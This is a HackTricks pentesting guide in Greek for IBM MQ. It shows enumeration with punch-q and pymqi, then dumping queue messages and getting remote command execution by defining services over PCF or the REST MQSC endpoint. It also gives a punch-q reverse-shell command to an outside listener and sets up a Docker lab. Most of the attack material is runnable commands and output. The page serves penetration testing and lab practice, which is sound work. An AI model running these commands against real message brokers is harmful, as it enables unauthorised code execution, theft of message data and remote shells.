1414 - Pentesting IBM MQ

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Βασικές πληροφορίες

Το IBM MQ είναι μια τεχνολογία της IBM για τη διαχείριση ουρών μηνυμάτων. Όπως άλλες τεχνολογίες message broker, προορίζεται να λαμβάνει, αποθηκεύει, επεξεργάζεται και ταξινομεί πληροφορίες μεταξύ παραγωγών και καταναλωτών.

Κατά προεπιλογή, εκθέτει την IBM MQ TCP θύρα 1414. Μερικές φορές, HTTP REST API μπορεί να είναι εκτεθειμένο στην θύρα 9443. Metrics (Prometheus) μπορούν επίσης να προσπελαστούν από την TCP θύρα 9157.

Η IBM MQ TCP θύρα 1414 μπορεί να χρησιμοποιηθεί για να χειριστεί μηνύματα, ουρές, κανάλια, … αλλά επίσης για να ελέγξει την instance.

Η IBM παρέχει εκτενή τεχνική τεκμηρίωση διαθέσιμη στο https://www.ibm.com/docs/en/ibm-mq.

Εργαλεία

Ένα προτεινόμενο εργαλείο για εύκολη εκμετάλλευση είναι punch-q, με χρήση Docker. Το εργαλείο χρησιμοποιεί ενεργά τη βιβλιοθήκη Python pymqi.

Για πιο χειροκίνητη προσέγγιση, χρησιμοποιήστε τη βιβλιοθήκη Python pymqi. IBM MQ dependencies are needed.

Installing pymqi

IBM MQ dependencies needs to be installed and loaded:

  1. Δημιουργήστε έναν λογαριασμό (IBMid) στο https://login.ibm.com/.
  2. Κατεβάστε τις βιβλιοθήκες IBM MQ από https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc. Για Linux x86_64 είναι 9.0.0.4-IBM-MQC-LinuxX64.tar.gz.
  3. Αποσυμπιέστε (tar xvzf 9.0.0.4-IBM-MQC-LinuxX64.tar.gz).
  4. Εκτελέστε sudo ./mqlicense.sh για να αποδεχθείτε τους όρους αδειοδότησης.

Εάν χρησιμοποιείτε Kali Linux, τροποποιήστε το αρχείο mqlicense.sh: αφαιρέστε/σχολιάστε τις παρακάτω γραμμές (μεταξύ γραμμών 105-110):

if [ ${BUILD_PLATFORM} != `uname`_`uname ${UNAME_FLAG}` ]
then
  echo "ERROR: This package is incompatible with this system"
  echo "       This package was built for ${BUILD_PLATFORM}"
  exit 1
fi
  1. Εγκαταστήστε αυτά τα πακέτα:
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesRuntime-9.0.0-4.x86_64.rpm
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesClient-9.0.0-4.x86_64.rpm
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesSDK-9.0.0-4.x86_64.rpm
  1. Έπειτα, πρόσθεσε προσωρινά τα αρχεία .so στο LD: export LD_LIBRARY_PATH=/opt/mqm/lib64, πριν εκτελέσεις άλλα εργαλεία που χρησιμοποιούν αυτές τις εξαρτήσεις.

Έπειτα, μπορείς να κλωνοποιήσεις το project pymqi: περιέχει ενδιαφέροντα αποσπάσματα κώδικα, σταθερές, … Ή μπορείς να εγκαταστήσεις απευθείας τη βιβλιοθήκη με: pip install pymqi.

Χρήση punch-q

Με Docker

Απλά χρησιμοποίησε: sudo docker run --rm -ti leonjza/punch-q.

Χωρίς Docker

Κλώνε το project punch-q και ακολούθησε το readme για εγκατάσταση (pip install -r requirements.txt && python3 setup.py install).

Μετά, μπορεί να χρησιμοποιηθεί με την εντολή punch-q.

Enumeration

Μπορείς να δοκιμάσεις να απαριθμήσεις το όνομα του queue manager, τους χρήστες, τα channels και τις queues με punch-q ή pymqi.

Αν το TCP/1414 είναι φιλτραρισμένο ή ο στόχος εκθέτει μόνο τον ενσωματωμένο web server, έλεγξε και το TCP/9443. Οι πρόσφατες εκδόσεις του IBM MQ εκθέτουν εκεί εξ ορισμού το IBM MQ Console / REST API όταν το mqweb είναι ενεργοποιημένο, και το διαχειριστικό REST endpoint μπορεί να εκτελέσει αυθαίρετες εντολές MQSC αν έχεις έγκυρα διαπιστευτήρια.

Queue Manager

Sometimes, there is no protection against getting the Queue Manager name:

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 discover name
Queue Manager name: MYQUEUEMGR

Κανάλια

punch-q χρησιμοποιεί ένα εσωτερικό (επεξεργάσιμο) wordlist για να βρει υπάρχοντα κανάλια. Παράδειγμα χρήσης:

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd discover channels
"DEV.ADMIN.SVRCONN" exists and was authorised.
"SYSTEM.AUTO.SVRCONN" might exist, but user was not authorised.
"SYSTEM.DEF.SVRCONN" might exist, but user was not authorised.

Συμβαίνει ορισμένα instances του IBM MQ να αποδέχονται χωρίς αυθεντικοποίηση MQ αιτήματα, οπότε το --username / --password δεν είναι απαραίτητο. Φυσικά, τα δικαιώματα πρόσβασης μπορεί επίσης να διαφέρουν.

Μόλις αποκτήσουμε ένα όνομα channel (εδώ: DEV.ADMIN.SVRCONN), μπορούμε να απαριθμήσουμε όλα τα υπόλοιπα κανάλια.

Η απαρίθμηση μπορεί βασικά να γίνει με αυτό το απόσπασμα κώδικα code/examples/dis_channels.py από pymqi:

import logging
import pymqi

logging.basicConfig(level=logging.INFO)

queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'

prefix = '*'

args = {pymqi.CMQCFC.MQCACH_CHANNEL_NAME: prefix}

qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)

try:
response = pcf.MQCMD_INQUIRE_CHANNEL(args)
except pymqi.MQMIError as e:
if e.comp == pymqi.CMQC.MQCC_FAILED and e.reason == pymqi.CMQC.MQRC_UNKNOWN_OBJECT_NAME:
logging.info('No channels matched prefix `%s`' % prefix)
else:
raise
else:
for channel_info in response:
channel_name = channel_info[pymqi.CMQCFC.MQCACH_CHANNEL_NAME]
logging.info('Found channel `%s`' % channel_name)

qmgr.disconnect()

… Αλλά το punch-q ενσωματώνει επίσης αυτό το μέρος (με περισσότερες πληροφορίες!).
Μπορεί να εκτελεστεί με:

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show channels -p '*'
Showing channels with prefix: "*"...

| Name                 | Type              | MCA UID | Conn Name | Xmit Queue | Description     | SSL Cipher |
|----------------------|-------------------|---------|-----------|------------|-----------------|------------|
| DEV.ADMIN.SVRCONN    | Server-connection |         |           |            |                 |            |
| DEV.APP.SVRCONN      | Server-connection | app     |           |            |                 |            |
| SYSTEM.AUTO.RECEIVER | Receiver          |         |           |            | Auto-defined by |            |
| SYSTEM.AUTO.SVRCONN  | Server-connection |         |           |            | Auto-defined by |            |
| SYSTEM.DEF.AMQP      | AMQP              |         |           |            |                 |            |
| SYSTEM.DEF.CLUSRCVR  | Cluster-receiver  |         |           |            |                 |            |
| SYSTEM.DEF.CLUSSDR   | Cluster-sender    |         |           |            |                 |            |
| SYSTEM.DEF.RECEIVER  | Receiver          |         |           |            |                 |            |
| SYSTEM.DEF.REQUESTER | Requester         |         |           |            |                 |            |
| SYSTEM.DEF.SENDER    | Sender            |         |           |            |                 |            |
| SYSTEM.DEF.SERVER    | Server            |         |           |            |                 |            |
| SYSTEM.DEF.SVRCONN   | Server-connection |         |           |            |                 |            |
| SYSTEM.DEF.CLNTCONN  | Client-connection |         |           |            |                 |            |

CHLAUTH / OAM recon

Πολλές περιπτώσεις “συνδέεται αλλά επιστρέφει 2035” προκαλούνται από κανόνες CHLAUTH ή από έλλειψη δικαιωμάτων OAM στα αντικείμενα-στόχους.

Αν έχετε ήδη διαχειριστική πρόσβαση MQSC, το MATCH(RUNCHECK) είναι ο πιο γρήγορος τρόπος για να καταλάβετε ποιος κανόνας θα εφαρμοστεί σε μια απομακρυσμένη σύνδεση:

echo "DISPLAY CHLAUTH(DEV.ADMIN.SVRCONN) MATCH(RUNCHECK) CLNTUSER('admin') ADDRESS('10.10.10.10')" \
| runmqsc MYQUEUEMGR

Μέσω του REST admin endpoint στο 9443, ο ίδιος έλεγχος μπορεί να γίνει απομακρυσμένα:

curl -sku 'admin:passw0rd' \
-H 'ibm-mq-rest-csrf-token: anything' \
-H 'Content-Type: text/plain;charset=utf-8' \
--data "DISPLAY CHLAUTH(DEV.ADMIN.SVRCONN) MATCH(RUNCHECK) CLNTUSER('admin') ADDRESS('10.10.10.10')" \
https://TARGET:9443/ibmmq/rest/v3/admin/action/qmgr/MYQUEUEMGR/mqsc

Εάν έχετε επαρκή δικαιώματα για να χρησιμοποιήσετε το PCF απομακρυσμένα, η IBM εκθέτει το MQCMD_INQUIRE_CHLAUTH_RECS, το οποίο επιστρέφει τις εγγραφές αυθεντικοποίησης καναλιού και τις αντιστοιχίσεις τους προς το MCAUSER. Αυτό είναι χρήσιμο για να επιβεβαιώσετε εάν ένα κανάλι αντιστοιχίζει απομακρυσμένους χρήστες σε έναν τοπικό λογαριασμό με περισσότερα προνόμια πριν επιχειρήσετε πρόσβαση σε μηνύματα, δημιουργία αντικειμένων ή κατάχρηση υπηρεσίας.

Ουρές

Υπάρχει ένα απόσπασμα κώδικα με pymqi (dis_queues.py) αλλά punch-q επιτρέπει την ανάκτηση περισσότερων πληροφοριών σχετικά με τις ουρές:

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show queues -p '*'
Showing queues with prefix: "*"...
| Created   | Name                 | Type   | Usage   | Depth  | Rmt. QM | Rmt. Qu | Description                       |
|           |                      |        |         |        | GR Name | eue Nam |                                   |
|           |                      |        |         |        |         | e       |                                   |
|-----------|----------------------|--------|---------|--------|---------|---------|-----------------------------------|
| 2023-10-1 | DEV.DEAD.LETTER.QUEU | Local  | Normal  | 0      |         |         |                                   |
| 0 18.35.1 | E                    |        |         |        |         |         |                                   |
| 9         |                      |        |         |        |         |         |                                   |
| 2023-10-1 | DEV.QUEUE.1          | Local  | Normal  | 0      |         |         |                                   |
| 0 18.35.1 |                      |        |         |        |         |         |                                   |
| 9         |                      |        |         |        |         |         |                                   |
| 2023-10-1 | DEV.QUEUE.2          | Local  | Normal  | 0      |         |         |                                   |
| 0 18.35.1 |                      |        |         |        |         |         |                                   |
| 9         |                      |        |         |        |         |         |                                   |
| 2023-10-1 | DEV.QUEUE.3          | Local  | Normal  | 0      |         |         |                                   |
| 0 18.35.1 |                      |        |         |        |         |         |                                   |
| 9         |                      |        |         |        |         |         |                                   |
# Truncated

Exploit

Dump messages

Μπορείτε να στοχεύσετε queue(s)/channel(s) για να sniff out / dump messages από αυτά (μη-καταστροφική λειτουργία). Παραδείγματα:

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages sniff
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages dump

Μην διστάσετε να επαναλάβετε σε όλες τις εντοπισμένες ουρές.

Εκτέλεση κώδικα

Μερικές λεπτομέρειες πριν προχωρήσουμε: IBM MQ μπορεί να ελεγχθεί με πολλούς τρόπους: MQSC, PCF, Control Command. Κάποιες γενικές λίστες μπορούν να βρεθούν στο IBM MQ documentation. PCF (Programmable Command Formats) είναι αυτό στο οποίο επικεντρωνόμαστε για να αλληλεπιδράσουμε απομακρυσμένα με την instance. punch-q και επίσης pymqi βασίζονται σε αλληλεπιδράσεις PCF.

Μπορείτε να βρείτε μια λίστα με εντολές PCF:

Μία ενδιαφέρουσα εντολή είναι MQCMD_CREATE_SERVICE και η τεκμηρίωσή της είναι διαθέσιμη εδώ. Παίρνει ως όρισμα ένα StartCommand που δείχνει σε ένα τοπικό πρόγραμμα στην instance (παράδειγμα: /bin/sh).

Υπάρχει επίσης μια προειδοποίηση για την εντολή στα docs: “Attention: This command allows a user to run an arbitrary command with mqm authority. If granted rights to use this command, a malicious or careless user could define a service which damages your systems or data, for example, by deleting essential files.”

Σημείωση: σύμφωνα πάντα με την τεκμηρίωση IBM MQ (Administration Reference), υπάρχει επίσης ένα HTTP endpoint στο /admin/action/qmgr/{qmgrName}/mqsc για να εκτελέσετε το ισοδύναμο MQSC command για δημιουργία υπηρεσίας (DEFINE SERVICE). Αυτή η πτυχή δεν καλύπτεται ακόμη εδώ.

If MQ Console / REST API credentials are available, you can often reach the same administrative primitives over HTTPS on 9443 without using the MQ client libraries. IBM documents /ibmmq/rest/v3/admin/action/qmgr/{qmgrName}/mqsc as an endpoint that accepts plain-text MQSC or JSON commands.

Η δημιουργία/διαγραφή υπηρεσίας με PCF για απομακρυσμένη εκτέλεση προγράμματος μπορεί να γίνει με το punch-q:

Παράδειγμα 1

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/sh" --args "-c id"

Στα logs του IBM MQ, μπορείτε να διαβάσετε ότι η εντολή εκτελέστηκε με επιτυχία:

2023-10-10T19:13:01.713Z AMQ5030I: The Command '808544aa7fc94c48' has started. ProcessId(618). [ArithInsert1(618), CommentInsert1(808544aa7fc94c48)]

Μπορείτε επίσης να απαριθμήσετε τα υπάρχοντα προγράμματα στο μηχάνημα (εδώ /bin/doesnotexist … δεν υπάρχει):

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/doesnotexist" --arg
s "whatever"
Command: /bin/doesnotexist
Arguments: -c id
Service Name: 6e3ef5af652b4436

Creating service...
Starting service...
The program '/bin/doesnotexist' is not available on the remote system.
Giving the service 0 second(s) to live...
Cleaning up service...
Done

Να γνωρίζετε ότι η εκκίνηση του προγράμματος είναι ασύγχρονη. Επομένως χρειάζεστε ένα δεύτερο στοιχείο για να αξιοποιήσετε το exploit (listener for reverse shell, file creation on different service, data exfiltration through network …)

Η ίδια τεχνική μπορεί να εκτελεστεί μέσω του REST API:

curl -sku 'admin:passw0rd' \
-H 'ibm-mq-rest-csrf-token: anything' \
-H 'Content-Type: text/plain;charset=utf-8' \
--data "DEFINE SERVICE(HACKTRICKS) CONTROL(MANUAL) SERVTYPE(COMMAND) STARTCMD('/bin/sh') STARTARG('-c id >/tmp/mq.id')" \
https://TARGET:9443/ibmmq/rest/v3/admin/action/qmgr/MYQUEUEMGR/mqsc

curl -sku 'admin:passw0rd' \
-H 'ibm-mq-rest-csrf-token: anything' \
-H 'Content-Type: text/plain;charset=utf-8' \
--data "START SERVICE(HACKTRICKS)" \
https://TARGET:9443/ibmmq/rest/v3/admin/action/qmgr/MYQUEUEMGR/mqsc

curl -sku 'admin:passw0rd' \
-H 'ibm-mq-rest-csrf-token: anything' \
-H 'Content-Type: text/plain;charset=utf-8' \
--data "DELETE SERVICE(HACKTRICKS)" \
https://TARGET:9443/ibmmq/rest/v3/admin/action/qmgr/MYQUEUEMGR/mqsc

Αυτό είναι ιδιαίτερα χρήσιμο κατά τις αξιολογήσεις όπου:

  • 9443 είναι προσβάσιμο αλλά 1414 είναι περιορισμένο σε μικρότερο εύρος πηγής
  • Η ομάδα-στόχος διαχειρίζεται το IBM MQ κυρίως μέσω του web console και έχει ξεχάσει να σκληρύνει τους REST roles
  • Θέλετε να αποφύγετε την εγκατάσταση των IBM MQ client libraries τοπικά και χρειάζεστε μόνο MQSC-level administration

Παράδειγμα 2

Για εύκολο reverse shell, punch-q προτείνει επίσης δύο reverse shell payloads:

  • Ένα με bash
  • Ένα με perl

Φυσικά μπορείτε να δημιουργήσετε ένα προσαρμοσμένο με την εντολή execute.

Για bash:

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444

Για perl:

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444

Προσαρμοσμένο PCF

Μπορείτε να εξερευνήσετε την τεκμηρίωση του IBM MQ και να χρησιμοποιήσετε απευθείας τη βιβλιοθήκη pymqi python για να δοκιμάσετε συγκεκριμένες εντολές PCF που δεν έχουν υλοποιηθεί στο punch-q.

Παράδειγμα:

import pymqi

queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'

qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)

try:
# Replace here with your custom PCF args and command
# The constants can be found in pymqi/code/pymqi/CMQCFC.py
args = {pymqi.CMQCFC.xxxxx: "value"}
response = pcf.MQCMD_CUSTOM_COMMAND(args)
except pymqi.MQMIError as e:
print("Error")
else:
# Process response

qmgr.disconnect()

Εάν δεν μπορείτε να βρείτε τα ονόματα των σταθερών, μπορείτε να ανατρέξετε στην IBM MQ documentation.

_Παράδειγμα για MQCMD_REFRESH_CLUSTER (Δεκαδικό = 73). Απαιτεί την παράμετρο MQCA_CLUSTER_NAME (Δεκαδικό = 2029) η οποία μπορεί να είναι _ (Doc: ):*

import pymqi

queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'

qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)

try:
   args = {2029: "*"}
   response = pcf.MQCMD_REFRESH_CLUSTER(args)
except pymqi.MQMIError as e:
   print("Error")
else:
   print(response)

qmgr.disconnect()

Περιβάλλον δοκιμών

Εάν θέλετε να δοκιμάσετε τη συμπεριφορά του IBM MQ και τα exploits, μπορείτε να στήσετε ένα τοπικό περιβάλλον βασισμένο σε Docker:

  1. Να έχετε λογαριασμό στο ibm.com και στο cloud.ibm.com.
  2. Δημιουργήστε ένα IBM MQ σε κοντέινερ με:
sudo docker pull icr.io/ibm-messaging/mq:latest
sudo docker run -e LICENSE=accept -e MQ_QMGR_NAME=MYQUEUEMGR -p1414:1414 -p9157:9157 -p9443:9443 --name testing-ibmmq icr.io/ibm-messaging/mq:latest

Εδώ, το όνομα του queue manager έχει οριστεί σε MYQUEUEMGR (μεταβλητή MQ_QMGR_NAME).

Πρόσφατες εικόνες developer της σειράς 9.4.x άλλαξαν την προεπιλεγμένη συμπεριφορά:

  • admin και app δημιουργούνται μόνο αν ορίσετε τους κωδικούς πρόσβασής τους
  • Η IBM αναφέρει MQ_ADMIN_PASSWORD / MQ_APP_PASSWORD ως αποσυρμένες από την έκδοση 9.4.0.0
  • Ο προτιμώμενος τρόπος είναι να εισάγετε secrets με ονόματα mqAdminPassword και mqAppPassword

Για ένα γρήγορο τοπικό εργαστήριο με Podman, μπορείτε να δημιουργήσετε και τους δύο χρήστες ως εξής:

printf 'passw0rd' | podman secret create mqAdminPassword -
printf 'passw0rd' | podman secret create mqAppPassword -
podman run --secret mqAdminPassword --secret mqAppPassword \
-e LICENSE=accept -e MQ_QMGR_NAME=MYQUEUEMGR \
-p1414:1414 -p9157:9157 -p9443:9443 \
--name testing-ibmmq icr.io/ibm-messaging/mq:latest

Με την προεπιλεγμένη διαμόρφωση προγραμματιστή:

  • DEV.ADMIN.SVRCONN επιτρέπει μόνο τον χρήστη admin
  • DEV.APP.SVRCONN είναι το κανάλι εφαρμογής και ο χρήστης app είναι η αναμενόμενη ταυτότητα
  • https://<target>:9443/ibmmq/console εκθέτει την web κονσόλα όταν ο ενσωματωμένος web server είναι ενεργοποιημένος

Θα πρέπει να έχετε το IBM MQ σε λειτουργία με τις θύρες του εκτεθειμένες:

❯ sudo docker ps
CONTAINER ID   IMAGE                                COMMAND                  CREATED         STATUS                    PORTS                                                                    NAMES
58ead165e2fd   icr.io/ibm-messaging/mq:latest       "runmqdevserver"         3 seconds ago   Up 3 seconds              0.0.0.0:1414->1414/tcp, 0.0.0.0:9157->9157/tcp, 0.0.0.0:9443->9443/tcp   testing-ibmmq

Η παλιά έκδοση των IBM MQ docker images βρίσκεται στο: https://hub.docker.com/r/ibmcom/mq/.

Αναφορές

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks